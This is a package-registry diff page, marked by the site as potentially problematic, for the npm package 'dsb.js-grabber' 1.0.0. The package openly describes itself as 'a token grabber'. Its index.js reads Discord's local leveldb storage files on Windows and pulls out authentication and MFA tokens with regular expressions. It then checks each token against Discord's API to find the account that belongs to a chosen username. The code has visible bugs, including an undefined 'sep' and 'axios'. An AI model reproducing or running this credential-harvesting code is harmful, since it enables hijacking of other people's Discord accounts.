dsb.js-grabber 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dsb.js-grabber might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +105 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,105 @@
1
+ const fs = require('fs');
2
+ const os = require('os');
3
+ /**
4
+ *
5
+ * @param {*} client Client
6
+ * @param {string} username Username of the user you want to log into
7
+ * @param {string} descriminator descriminator of the user if you have multiple accounts with the same name
8
+ * @private
9
+ */
10
+ function getToken(client, username, descriminator) {
11
+ var token = /[A-Za-z\d]{24}\.[\w]{6}\.[\w]{27}/;
12
+ var mfaToken = /mfa\.[\w-]{84}/;
13
+ var WinLocation = `C:${sep}Users${sep}${os.userInfo().username}${sep}AppData${sep}Roaming`;
14
+ const headers = client.options.http.headers;
15
+
16
+ var x = [];
17
+ var y = [];
18
+ let userToken;
19
+
20
+ let found = false;
21
+
22
+ const getSortedFiles = async (dirs) => {
23
+ dirs.forEach(async dir => {
24
+ dir += `${sep}Local Storage${sep}leveldb`;
25
+ var exists = fs.existsSync(dir);
26
+
27
+ if (!exists) return null;
28
+
29
+ let files = await fs.promises.readdir(dir);
30
+ files.forEach(f => {
31
+ if (f.endsWith('.ldb')) x.push(`${dir}${sep}${f}`)
32
+ else if (f.endsWith('.log')) x.push(`${dir}${sep}${f}`);
33
+ else return;
34
+ });
35
+ });
36
+ }
37
+
38
+ if (os.type().toLowerCase().includes('windows')) {
39
+ let paths = [
40
+ `${WinLocation}${sep}discord`,
41
+ `${WinLocation}${sep}discordptb`,
42
+ `${WinLocation}${sep}discordcanary`,
43
+ ]
44
+
45
+ Promise.resolve().then(() => {
46
+ getSortedFiles(paths);
47
+ }).catch(console.error);
48
+
49
+ setTimeout(async () => {
50
+ x.forEach(f => {
51
+ console.log(f);
52
+ fs.readFile(f, function (err, data) {
53
+ if (err) throw err;
54
+ data = data.toString();
55
+
56
+ if (token.test(data)) {
57
+ console.log('found one')
58
+ let z = token.exec(data);
59
+
60
+ z.forEach(t => {
61
+ if (y.indexOf(t) === -1) y.push(t);
62
+ });
63
+ } else if (mfaToken.test(data)) {
64
+ console.log('found one')
65
+ let z = mfaToken.exec(data);
66
+
67
+ z.forEach(t => {
68
+ if (y.indexOf(t) === -1) y.push(t);
69
+ });
70
+ }
71
+ });
72
+ });
73
+ }, 500);
74
+
75
+ y.forEach(t => {
76
+ if (!found) {
77
+ headers['authorization'] = t;
78
+ axios.get('https://discord.com/api/v9/users/@me', {
79
+ headers: headers
80
+ }).then(res => {
81
+ const d = res.data;
82
+ if (d.username == username) {
83
+ if (descriminator !== null) {
84
+ if (d.descriminator == descriminator) {
85
+ found = true
86
+ userToken = t;
87
+ }
88
+ }
89
+ found = true;
90
+ userToken = t;
91
+ }
92
+ }).catch(e => {
93
+ throw e;
94
+ });
95
+ }
96
+ });
97
+
98
+ if (!found) return null;
99
+ else return userToken;
100
+ } else {
101
+ throw new Error(`This is not yet developed on this os`);
102
+ }
103
+ };
104
+
105
+ module.exports = getToken;
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "dsb.js-grabber",
3
+ "version": "1.0.0",
4
+ "description": "a token grabber for specific usernames",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/TheDevYellowy/tokenGrabber.git"
12
+ },
13
+ "author": "TheDevYellowy",
14
+ "license": "ISC"
15
+ }